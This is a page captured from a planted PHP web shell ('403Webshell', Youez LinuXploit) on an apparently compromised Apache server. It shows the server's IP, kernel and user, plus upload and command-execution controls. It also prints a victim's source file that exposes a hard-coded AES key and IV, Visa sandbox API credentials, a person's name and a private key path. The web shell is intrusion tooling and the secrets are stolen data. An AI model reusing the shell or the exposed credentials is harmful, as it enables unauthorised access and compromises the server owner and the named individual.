403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/dcb/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/dcb//visaTest.php
<?php
include 'enc.php';
        $data = json_encode(['first_name'=>'Dunsin','last_name'=>'Olubobokun','country'=>'Nigeria']);
        $inputKey = "DCBcasa@11061987";
        $iv = "hgsdf6534632#$$5";
        $blockSize = 128;
        $aes = new AESEncryption($data, $inputKey, $iv, $blockSize);
        $enc = $aes->encrypt();
        $aes->setData($enc);
        $dec=$aes->decrypt();
        echo "After encryption: ".$enc."<br/>";
        echo "After decryption: ".$dec."<br/>";
      


//$userName = "RX7VLI70YPPLJMM7GSZ121tjj7TCRU5bPsNCUozfItWBKLbd8";
//$password = "yz2he2536EFkA";
//$url = "https://sandbox.api.visa.com/vmorc/offers/v1/all";
//try {
//    $ch = curl_init();
//    curl_setopt($ch, CURLOPT_URL, $url);
//    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json', "Authorization: Basic" . base64_encode("$userName:$password")));
//    $pemFile = tmpfile();
//    fwrite($pemFile, "C:\xampp\htdocs\dcb\key_16fe7847-d0bc-4574-bfb2-34a94320a262.pem"); //the path for the pem file
//    $tempPemPath = stream_get_meta_data($pemFile);
//    $tempPemPath = $tempPemPath['uri'];
//    curl_setopt($ch, CURLOPT_SSLCERT, $tempPemPath);
//   // curl_setopt($ch, CURLOPT_CAINFO,  'C:/xampp/htdocs/dcb/key_16fe7847-d0bc-4574-bfb2-34a94320a262.pem');
//    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
//   // curl_setopt($ch, CURLOPT_POST, 1);
//    $results = curl_exec($ch);
//      echo "<pre>";
//    print_r($results);
//    exit;
//    $response = json_decode($results, true);
//    echo "<pre>";
//    print_r($response);
//    exit;
//} catch (Exception $e) {
//    echo "<pre>";
//    print_r($e->getMessage());
//    exit;
//}






//$ch = curl_init();
//curl_setopt($ch, CURLOPT_URL, $url);
//curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
//$pemFile = tmpfile();
//fwrite($pemFile, "C:\xampp\htdocs\dcb\key_16fe7847-d0bc-4574-bfb2-34a94320a262.pem");//the path for the pem file
//$tempPemPath = stream_get_meta_data($pemFile);
//$tempPemPath = $tempPemPath['uri'];
//curl_setopt($ch, CURLOPT_SSLCERT, $tempPemPath); 
//curl_setopt($ch, CURLOPT_HTTPHEADER, array(
//    'Content-Type: application/json',
//     'Authorization: Basic '. base64_encode("$userName:$password")
//));
//$output = curl_exec($ch);
//echo "<pre>";print_r($results);exit;
?>

Youez - 2016 - github.com/yon3zu
LinuXploit